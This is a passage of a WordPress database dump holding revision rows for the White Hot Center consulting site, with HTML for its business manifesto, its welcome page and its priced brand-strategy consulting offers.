style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you. Serve don''t sell.\r\n</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h2>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like a lover.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h2>\r\n<h2></h2>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'closed', 'closed', '', '136-revision-v1', '', '', '2015-10-05 18:40:51', '2015-10-06 01:40:51', '', 136, 'http://whc.fbdev.org/2015/10/136-revision-v1/', 0, 'revision', '', 0);
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(2976, 1, '2015-02-21 14:17:27', '2015-02-21 21:17:27', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nAt every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are tirelessly working heads down in their business–their days are consumed with the distracting detail of managing their current circumstances, few are looking up and out innovating a stronger foundation for their bigger, better future. Most entrepreneurs focus on the urgent aspects of running their business rather than the more important focus and mastery of creating new value for higher value customers and clients.\r\n\r\n<strong>My passion is to inspire, guide and advise you and your team to focus on your best opportunities, innovative strategies and effective tactics to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by customers and clients who wouldn’t think of doing business with anyone else.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand strategy, development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong></strong> <strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em></em></strong><a title="Book your Power Session" href="mailto:thomson@whitehotcenter.com" target="_blank"><span style="color: #f87f06;"><em>\r\n</em></span></a></h6>\r\n<h3><a title="Book your Power Session" href="mailto:thomson@whitehotcenter.com" target="_blank"><span style="color: #f87f06;"><em>Book your Power Session with Thomson.</em></span></a></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong></strong> <strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together over three-month periods to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $3000 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><a title="Learn more in a conversation" href="mailto:thomson@whitehotcenter.com" target="_blank"><span style="color: #f87106;"><em>Learn more about how business transformation consulting can help you get to the next level of success in a conversation with Thomson.</em></span></a></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>Brand Strategy Workshop For Emerging Companies</strong>\r\nThis issue-based, highly facilitated one-day workshop is designed for business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific brand strategy, business development or business transformation challenges.\r\n\r\nTypically organizations are inventing new business models, launching new products or transforming their business for the next level of growth. Client organizations for this level of consulting typically have annual revenue of $5-10milliom+. There are four key areas of focus within the workshop day to help you build your strategic road map and make the right decisions for achievement of your business goals:\r\n\r\n<strong>•  To whom you market, identifying higher value clients who are the best fit for your business.</strong>\r\n\r\n<strong>•  What makes your offerings highly valued by customers and difficult for them to substitute.</strong>\r\n\r\n<strong>•  How to effectively express and message your brand positioning, value proposition and brand story in the marketplace to command premium pricing and competitive advantage.</strong>\r\n\r\n<strong>•  Creating more value at every touch point in the value chain with your customers and clients.</strong>\r\n\r\nThe strategic workshop includes a pre-workshop assessment of the specific challenges you’re currently facing in building your brand, appropriate workshop planning, workshop facilitation, and the post workshop preparation of an Executive Summary documenting the key insights, hypothesis, and strategic decisions discussed in the workshop session that will inform your team and guide next steps.\r\n<h6><strong>Investment: $8,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><a title="Learn more in a conversation with Thomson" href="mailto:thomson@whitehotcenter.com" target="_blank"><span style="color: #f88406;"><em>Learn more about how the One Day Brand Strategy Workshop can help you create a foundation for building the value of your brand in a conversation with Thomson.</em></span></a></h3>\r\n<h2><img title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>Allow me to help you gain the clarity and confidence to create the success you desire in your business and in your whole life!</h2>\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to describe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, leaders and their management teams in growing business organizations. My clients have a high degree of ambition, discipline and determination to succeed. Typically they’re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level and beyond. They proactively invest financial resources for their future success into all areas of their business. Mutual respect and trust are the key drivers of our successful collaboration. My focus is providing insight, guidance and creativity to help my clients achieve successful outcomes.\r\n\r\n<strong>Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales or service billing revenue in the $5 – $10 million+ range. </strong>\r\n\r\n<em></em>\r\n<h1><a title="Work with Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank"><em>Work With Thomson Dawson!</em></a></h1>\r\n&nbsp;\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-02-21 14:17:27', '2015-02-21 21:17:27', '', 138, 'http://whc.fbdev.org/2015/02/138-revision-v1/', 0, 'revision', '', 0),
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(3178, 2, '2015-10-15 12:15:54', '2015-10-15 19:15:54', '<h1>Strategic Brand Development Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="size-full wp-image-3138 alignnone" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n<h3><span style="color: #ff6600;">Power Session Jams</span></h3>\r\nThe 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" />\r\n<h3><span style="color: #ff6600;">Strategic Brand Development Workshops</span></h3>\r\nFor growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<strong><em>The Brand Positioning Workshop</em></strong>\r\nThis issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n\r\n<strong><em>The Brand Storytelling Workshop</em></strong>\r\nThe power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.\r\n\r\n<strong><em>The Brand Voice Workshop</em></strong>\r\nThis one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.All our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter.\r\n\r\nTypically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n<h3><span style="color: #ff6600;">Brand Transformation and Creative Consulting</span></h3>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how my expertise can help you achieve your desired outcomes.</h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Strategic Brand Development Consulting', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-15 12:15:54', '2015-10-15 19:15:54', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
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(3006, 2, '2015-10-08 12:42:18', '2015-10-08 19:42:18', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg"><img class="alignnone size-full wp-image-3004" src="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg" alt="About the White Hot Center" width="680" height="378" /></a></h2>\r\n<h1>Inspiration, guidance and creativity for entrepreneurs and small business owners who want more impact, influence and income.</h1>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, or a successful small business owner, and you’re seeking inspiration to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant. Our conversation here is centered in my passion to inspire, guide and advise you to focus on your best opportunities, innovate strategies to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness to build the right team, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money-making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, innovate products and services that are highly valued by your customers.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through strategic brand development, marketing communications, sales and business development strategies that position your business as the “one and only” in the minds of the best customers and clients, elevating your business from the slush pile of competitors.\r\n\r\nLike you, I’m fully committed to bringing more value to my clients. After nearly 30 years of business transformation and creative consulting with hundreds of successful companies, I’ve learned to appreciate the attributes necessary to grow a beloved business to its next level. The White Hot Center is the expression of my passion for sharing insights and ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement– topics of significant importance to those entrepreneurs creating amazing value monopolies.\r\n\r\nI look forward to you sharing your insights by your comments!\r\n\r\nTo your inspired success,\r\n\r\nThomson Dawson\r\nStrategic Brand Development\r\nBusiness Transformation Consultant\r\n<a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\n&nbsp;\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'closed', 'closed', '', '172-revision-v1', '', '', '2015-10-08 12:42:18', '2015-10-08 19:42:18', '', 172, 'http://whc.fbdev.org/2015/10/172-revision-v1/', 0, 'revision', '', 0),
(3007, 2, '2015-10-08 13:10:00', '2015-10-08 20:10:00', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg"><img class="alignnone size-full wp-image-3004" src="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg" alt="About the White Hot Center" width="680" height="378" /></a></h2>\r\n<h1>Inspiration, guidance and creativity for entrepreneurs and small business owners who want more impact, influence and income.</h1>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, or a successful small business owner, and you’re seeking inspiration to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant. Our conversation here is centered in my passion to inspire, guide and advise you to focus on your best opportunities, innovate strategies to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four strategic disciplines:\r\n<h3><strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness to build the right team, and your contributions to the marketplace.</h3>\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money-making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, innovate products and services that are highly valued by your customers.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through strategic brand development, marketing communications, sales and business development strategies that position your business as the “one and only” in the minds of the best customers and clients, elevating your business from the slush pile of competitors.\r\n\r\nLike you, I’m fully committed to bringing more value to my clients. After nearly 30 years of business transformation and creative consulting with hundreds of successful companies, I’ve learned to appreciate the attributes necessary to grow a beloved business to its next level. The White Hot Center is the expression of my passion for sharing insights and ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement– topics of significant importance to those entrepreneurs creating amazing value monopolies.\r\n\r\nI look forward to you sharing your insights by your comments!\r\n\r\nTo your inspired success,\r\n\r\nThomson Dawson\r\nStrategic Brand Development\r\nBusiness Transformation Consultant\r\n<a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\n&nbsp;\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'closed', 'closed', '', '172-revision-v1', '', '', '2015-10-08 13:10:00', '2015-10-08 20:10:00', '', 172, 'http://whc.fbdev.org/2015/10/172-revision-v1/', 0, 'revision', '', 0),
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(3082, 1, '2015-10-09 14:10:22', '2015-10-09 21:10:22', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg"><img class="alignnone size-full wp-image-3004" src="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg" alt="About the White Hot Center" width="680" height="378" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspiration, guidance and creativity for entrepreneurs and small business owners who want more impact, influence and income.</span></h2>\r\n<strong>I’m delighted you have found your way here to the White Hot Center.</strong> If you’re an early stage entrepreneur, or a successful small business owner, and you’re seeking inspiration to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\r\n\r\nOur conversation here is centered in my passion to inspire, guide and advise you to focus on your best opportunities, innovate strategies to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four strategic disciplines:\r\n\r\n<span style="color: #ff9900;"><em><strong>Leadership</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Expanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness to build the right team, and your contributions to the marketplace.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Lifestyle Design</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Developing a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money-making.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Value Creation</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Innovation and creativity to design and develop your value proposition, innovate products and services that are highly valued by your customers.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Demand Generation</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Expand your impact, influence and competitive advantage through strategic brand development, marketing communications, sales and business development strategies that position your business as the “one and only” in the minds of the best customers and clients, elevating your business from the slush pile of competitors.</em></span>\r\n\r\nLike you, I’m fully committed to bringing more value to my clients. After nearly 30 years of business transformation and creative consulting with hundreds of successful companies, I’ve learned to appreciate the attributes necessary to grow a beloved business to its next level.\r\n\r\nThe White Hot Center is the expression of my passion for sharing insights and ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement– topics of significant importance to those entrepreneurs creating amazing value monopolies.\r\n\r\nI look forward to you sharing your insights by your comments!\r\n\r\nTo your inspired success,\r\n\r\nThomson Dawson\r\nStrategic Brand Development\r\nBusiness Transformation Consultant\r\n<a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n<br />&nbsp;\r\n<br />&nbsp;', 'ABOUT THE WHC', 0, '', 'inherit', 'closed', 'closed', '', '2871-revision-v1', '', '', '2015-10-09 14:10:22', '2015-10-09 21:10:22', '', 2871, 'http://whc.fbdev.org/2015/10/2871-revision-v1/', 0, 'revision', '', 0),
(3083, 1, '2015-10-09 14:10:37', '2015-10-09 21:10:37', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg"><img class="alignnone size-full wp-image-3008" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg" alt="White Hot Center Manifesto" width="680" height="350" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles, or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. Presented here are my guiding principles that form my philosophy of life and business success and directs all my activities in my consulting practice.</span></h2>\r\n<h3><span style="color: #000000;"><strong>1 as you think, so it is</strong></span><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nall creation begins with your thoughts.</span></em></span></h3>\r\n<h3><span style="color: #000000;"><strong>2</strong><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><em>\r\nnever desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #808080;"> <strong>\r\n</strong></span></h3>\r\n<h3><span style="color: #000000;"><strong> 3</strong><strong> you must do what matters to you, and what you do must serve others</strong><em>\r\nmeaning + contribution = a life of significance.</em></span></h3>\r\n<h3><span style="color: #000000;"><strong>4  begin now with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, your future is right now!</span>\r\n</em></span></h3>\r\n<h3><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed manner.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key to wealth.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you. Serve don''t sell.\r\n</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h3>\r\n<h3><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like a lover.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h3>\r\n<br />&nbsp;\r\n<br />&nbsp;', 'The White Hot Center Manifesto', 0, '', 'inherit', 'closed', 'closed', '', '136-revision-v1', '', '', '2015-10-09 14:10:37', '2015-10-09 21:10:37', '', 136, 'http://whc.fbdev.org/2015/10/136-revision-v1/', 0, 'revision', '', 0),
(3047, 2, '2015-10-09 11:09:03', '2015-10-09 18:09:03', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg"><img class="alignnone size-full wp-image-3008" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg" alt="White Hot Center Manifesto" width="680" height="350" /></a></span></h2>\r\n<h1><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles, or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. Presented here are my guiding principles that form my philosophy of life and business success and directs all my activities in my consulting practice.</span></h1>\r\n<h2><span style="color: #000000;"><strong>1 as you think, so it is</strong></span><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nall creation begins with your thoughts.</span></em></span></h2>\r\n<h2><span style="color: #000000;"><strong>2</strong><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><em>\r\nnever desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #808080;"> <strong>\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong> 3</strong><strong> you must do what matters to you, and what you do must serve others</strong><em>\r\nmeaning + contribution = a life of significance.</em></span></h2>\r\n<h2><span style="color: #000000;"><strong>4  begin now with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, your future is right now!</span>\r\n</em></span></h2>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed manner.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key to wealth.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h2>\r\n<h2><span style="color: 